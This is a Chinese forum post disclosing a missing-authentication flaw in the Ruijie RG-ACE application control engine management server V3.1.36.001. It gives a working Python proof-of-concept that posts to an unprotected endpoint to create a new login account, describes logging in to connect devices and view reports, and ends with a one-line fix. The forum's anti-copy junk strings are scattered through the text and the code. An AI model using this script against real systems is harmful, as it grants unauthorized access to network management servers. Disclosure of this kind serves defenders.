找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2229|回复: 0
打印 上一主题 下一主题

锐捷应用控制引擎管理服务器可以增加用户

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-10 10:16:32 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
锐捷应用控制引擎管理服务器(RG-ACE系列应用控制引擎管理服务器V3.1.36.001,官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版)可以根据没有权限验证的接口直接增加用户,连接设备,查看设备信息和报表(权限相对于默认的admin比较低)
7 [6 \0 m9 C  U6 \, k. O) N! \; E4 f3 X) h

7 {% F1 T% Q( |' Y0 o4 {; j4 D测试的具体版本是$ o$ ]5 a  O; p& [- B' H
产品名称: 锐捷应用控制引擎
7 O/ l; J: z3 u8 [$ N" D版本号: 3.1.36.001 TC& V' e7 {6 v/ ~) X; U  a0 B
编译时间: 201104291730
1 u$ d( Q2 O7 F/ ~) J5 `; Z# i 6 V+ x/ B6 q% u

- V# H* m& ?4 e. M8 y! z漏洞证明:  Q- q) U9 |2 Z& d9 `

0 D+ ^! x) _# C: I6 F/ ]
9 S( c  r: l/ ~2 B$ e2 m8 G; o# r: f( x$ W/ K8 C

' q  g$ F3 n- k  t
5 l: |, \. Z6 m% x% X4 S# b6 Q/ c+ G" I0 M( `* H
执行脚本% ~) n2 H, D; _+ K! }' d
#! /usr/bin/env python
& w; S  p* I. [0 m#coding=gbk$ ^1 H5 I. z3 g' S, }4 c! Q
#RG-ACE管理服务器 V3.1.36.001
4 i5 k$ S, w; a& K6 cimport urllib2, urllib,cookielib% e8 D6 f" S* i0 g$ _8 {
url=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP
2 }  X. s. B/ v+ A0 \opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
1 U9 f* o9 N, ^( S' `opener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]) N& [7 r8 K3 E9 A. c  F: V
post=(("event","userManager.doInsertUserInfo"),: T) C  o2 `3 L5 X8 f
("useractionname","addButtonValue"),' K  W; o: q* ?* M- R& K6 f
("useropermanager","userManager"),/ H4 ^* d5 y1 X; B/ R. n! H
("userName","t"), #######账号自己加
7 a# O  V4 U: {2 _( _( E' }("pwd","aaaaaa"),######密码自己加/ m/ t) A! z* n6 k% C* f
("trueName","ad"),
) a7 I0 X4 ]& q" k8 c! x("email",""),& b4 G8 u: C6 Q
("mobilePhone",""),
" u- c- U. I1 e* O2 @4 R("officePhone",""),5 V9 F. b, U  m  @" Y# m
("addr",""),
6 U  m- X' D. ]5 H$ x; b' l("submit","确定"))
+ z. M8 ]) E) x& `! D$ r3 eurllib2.install_opener(opener)% R6 b6 d- E% f4 l4 q# U! A8 l! N
p=urllib2.urlopen(url, urllib.urlencode(post)).read(), t$ A5 h) Z; L. T& Q( \/ ~" \, z
print "Done"5 c" Z# L7 [/ u; o& N  ^; |
/ W! A) j& A, }! f( b# X# T
登录,连接设备
$ f7 |; X, }! E% n
: Y  h$ v$ A' V2 Y4 M
/ I% B& h- \$ K" u9 }5 [& y$ G
8 z8 ]  g3 U; q2 v3 V6 u; x: R5 ?9 \7 Y. P
+ V8 U' A; Z5 w5 s" M
默认的管理员admin权限更大点: g5 w9 Q  N6 U) n6 n6 `9 F

8 D: k' ~* k% g  Z, k2 e
* n/ g. W  f( x; m: v* s; S
" [/ b" y+ u* W! I2 Z+ I" x
. K' f2 O3 a* {- z4 h, c( Y6 k+ R( I7 q/ [: Z$ z
修复方案:5 v" P6 e+ i% g: ?0 p  n/ ?! Z( O
加强对接口的权限验证
8 ^% A& i  @$ x
. |" S% p1 z% e* k0 j3 z0 e
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表